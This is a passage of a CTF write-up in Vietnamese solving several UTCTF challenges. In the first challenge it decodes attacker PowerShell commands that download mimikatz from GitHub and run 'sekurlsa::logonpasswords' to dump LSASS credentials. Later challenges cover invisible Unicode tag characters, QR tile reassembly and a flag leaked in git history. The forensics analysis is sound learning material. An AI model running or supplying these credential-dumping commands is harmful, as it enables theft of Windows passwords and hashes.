"dwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZwBlAG4AdABpAGwAawBpAHcAaQAvAG0AaQBtAGkAawBhAHQAegAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADIALgAyAC4AMAAtADIAMAAyADIAMAA5ADEAOQAvAG0AaQBtAGkAawBhAHQAegBfAHQAcgB1AG4AawAuAHoAaQBwACAALQBPACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA",
"RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAbQBpAG0AaQBrAGEAdAB6AC4AegBpAHAA",
"QwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AXABEAG8AdwBuAGwAbwBhAGQAcwBcAG0AaQBtAGkAawBhAHQAegBcAHgANgA0AFwAbQBpAG0AaQBrAGEAdAB6AC4AZQB4AGUAIAAiAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAIgAgACIAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIgAgACIAZQB4AGkAdAAiAA==",
]
for c in cmds:
print(base64.b64decode(c).decode('utf-16-le'))
```
Kết quả decode:
| # | Decoded Command |
|---|----------------|
| 1 | `whoami /all` |
| 2 | `cd Downloads` |
| 3 | `wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip` |
| 4 | `wget https://...mimikatz_trunk.zip -O mimikatz.zip` |
| 5 | `Expand-Archive mimikatz.zip` |
| 6 ★ | `C:\Users\jon\Downloads\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"` |
**Command số 6** là lệnh thu thập credentials — chạy **Mimikatz** để dump toàn bộ mật khẩu và NTLM hash từ LSASS memory.
---
#### Bước 3 — Tính password và mở zip
Theo hint, password = **MD5 của phần encoded** (chuỗi base64 sau flag `-e` trong command 6):
```python
import base64, hashlib, zipfile
encoded = "QwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AXABEAG8AdwBuAGwAbwBhAGQAcwBcAG0AaQBtAGkAawBhAHQAegBcAHgANgA0AFwAbQBpAG0AaQBrAGEAdAB6AC4AZQB4AGUAIAAiAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAIgAgACIAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIgAgACIAZQB4AGkAdAAiAA=="
# Verify decoded command
decoded = base64.b64decode(encoded).decode('utf-16-le')
print(decoded)
# C:\Users\jon\Downloads\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Tính MD5 của encoded portion
password = hashlib.md5(encoded.encode()).hexdigest()
print("ZIP password:", password)
# 00c8e4a884db2d90b47a4c64f3aec1a4
# Mở zip và đọc flag
with zipfile.ZipFile('checkpointA.zip') as zf:
flag = zf.read('flag.txt', pwd=password.encode())
print(flag.decode())
```
Output:
```
ZIP password: 00c8e4a884db2d90b47a4c64f3aec1a4
utflag{4774ck3r5_h4v3_m4d3_l4ndf4ll}
```
---
### Flag
:::success
Flag:
utflag{4774ck3r5_h4v3_m4d3_l4ndf4ll}
:::
---
## Hidden in Plain Sight [dvy4nhh]

> We've heard tell of a hidden message that's been placed somewhere nearby. Can you find it?
Không có file đính kèm. Chỉ có trang web CTF.
---
### Phân tích
Tên challenge "Hidden in Plain Sight" gợi ý thông tin ẩn ngay trước mắt. Nhìn kỹ vào URL của challenge:
```
https://utctf.live/challenges#Hidden%20%F3%A0%81%B5%F3%A0%81%B4%F3%A0%81%A6%F3%A0%81%AC%F3%A0%81%A1%F3%A0%81%A7%F3%A0%81%BB%F3%A0%80%B1%F3%A0%81%AE%F3%A0%81%B6%F3%A0%80%B1%F3%A0%81%B3%F3%A0%80%B1%F3%A0%81%A2%F3%A0%81%AC%F3%A0%80%B3%F3%A0%81%9F%F3%A0%81%B5%F3%A0%81%AE%F3%A0%80%B1%F3%A0%81%A3%F3%A0%80%B0%F3%A0%81%A4%F3%A0%80%B3%F3%A0%81%BDin%20Plain%20Sight-25
```
Các byte `%F3%A0%81%xx` decode ra các codepoint **U+E0000–U+E007F** — đây là **Unicode Tag Characters**: hoàn toàn vô hình khi hiển thị, nhưng vẫn tồn tại trong chuỗi.
Cách hoạt động: mỗi tag character = ký tự ASCII tương ứng + `0xE0000`. Ví dụ `U+E0075` → `u`, `U+E0074` → `t`, `U+E007B` → `{`.
---
### Giải
```python
from urllib.parse import unquote
url = "Hidden%20%F3%A0%81%B5%F3%A0%81%B4%F3%A0%81%A6%F3%A0%81%AC%F3%A0%81%A1%F3%A0%81%A7%F3%A0%81%BB%F3%A0%80%B1%F3%A0%81%AE%F3%A0%81%B6%F3%A0%80%B1%F3%A0%81%B3%F3%A0%80%B1%F3%A0%81%A2%F3%A0%81%AC%F3%A0%80%B3%F3%A0%81%9F%F3%A0%81%B5%F3%A0%81%AE%F3%A0%80%B1%F3%A0%81%A3%F3%A0%80%B0%F3%A0%81%A4%F3%A0%80%B3%F3%A0%81%BDin%20Plain%20Sight-25"
decoded = unquote(url)
hidden = ""
for c in decoded:
cp = ord(c)
if 0xE0000 <= cp <= 0xE007F:
hidden += chr(cp - 0xE0000)
print(hidden) # utflag{1nv1s1bl3_un1c0d3}
```
---
### Flag
:::success
Flag:
utflag{1nv1s1bl3_un1c0d3}
:::
---
## QRecreate [dvy4nhh]

> *"I managed to bypass the IPS to exfiltrate the secrets you wanted from the target's intranet. I just hope you remember the encoding structure we agreed on."* — Emmett (@emdawg25)
File đính kèm: `TaxReports2008.zip`
Hint quan trọng: **"encoding structure we agreed on"** → dữ liệu được mã hóa nhiều tầng.
---
### Phân tích
#### Bước 1: Giải nén và quan sát cấu trúc
```bash
unzip TaxReports2008.zip
```
Thu được 100 thư mục, tên mỗi thư mục là một chuỗi lạ (`MDAx`, `MDA0`, `MTAw`...), bên trong mỗi thư mục có một file `data/img.png` kích thước **74x74px**.
#### Bước 2: Decode tên thư mục
Nhận ra tên thư mục là **base64** của số thứ tự:
```bash
$ echo 'MDAx' | base64 -d
001
$ echo 'MTAw' | base64 -d
100
```
→ 100 thư mục tương ứng số 001–100, đây là thứ tự ghép ảnh.
#### Bước 3: Ghép 100 ảnh thành QR code
100 ảnh 74×74px → grid **10×10** → QR code **740×740px**:
```python
from PIL import Image
import os, base64
dirs = os.listdir('output')
numbered = [(int(base64.b64decode(d).decode()), d) for d in dirs]
numbered.sort()
tile_size = 74
result = Image.new('RGB', (740, 740))
for idx, (num, d) in enumerate(numbered):
tile = Image.open(f'output/{d}/data/img.png')
row, col = idx // 10, idx % 10
result.paste(tile, (col * tile_size, row * tile_size))
result.save('assembled.png')
```
### Bước 4: Quét QR code
```python
from pyzbar.pyzbar import decode
from PIL import Image
result = decode(Image.open('assembled.png'))
print(result[0].data.decode())
```
QR code chứa đoạn văn **Lorem Ipsum** dài, nhưng ẩn trong đó có một chuỗi base64:
```
...Pellentesque a mi dXRmbGFne3MzY3IzdHNfQHJlX0Bsd0B5c193MXRoMW5fczNjcjN0c30= elit viverra interdum...
```
#### Bước 5: Decode base64 lần cuối
```bash
$ echo 'dXRmbGFne3MzY3IzdHNfQHJlX0Bsd0B5c193MXRoMW5fczNjcjN0c30=' | base64 -d
utflag{s3cr3ts_@re_@lw@ys_w1th1n_s3cr3ts}
```
---
### Flag
:::success
Flag:
utflag{s3cr3ts_@re_@lw@ys_w1th1n_s3cr3ts}
:::
---
## Breadcrumbs [dvy4nhh]

> We're planning on deploying some new static sites for our officers. We've cloned a template from Hugo's Static Site Generator (SSG). Can you make sure that our website is clean before it's deployed?
---
### Giải
#### Bước 1: Clone repo
```bash
git clone https://github.com/Jarpiano/utctf-profile
cd utctf-profile
```
#### Bước 2: Xem git log
```bash
git log --oneline
```
Phát hiện commit đáng ngờ:
```
a1546af added key file to integrate with AWS
```
#### Bước 3: Xem nội dung commit
```bash
git show a1546af
```
Kết quả:
```
commit a1546afedb6edeffa9227d70b1f5e110bda9f7e6
Author: Jarpiano <barcousticjp@gmail.com>
Date: Thu Mar 12 10:33:12 2026 -0500
added key file to integrate with AWS
diff --git a/static/fonts/secret-keys/AWS-key.txt b/static/fonts/secret-keys/AWS-key.txt
new file mode 100644
index 0000000..9f7449f
--- /dev/null
+++ b/static/fonts/secret-keys/AWS-key.txt
@@ -0,0 +1 @@
+utflag{n07h1n6_70_h1d3}
```
---
### Flag
:::success
Flag:
utflag{n07h1n6_70_h1d3}
:::
---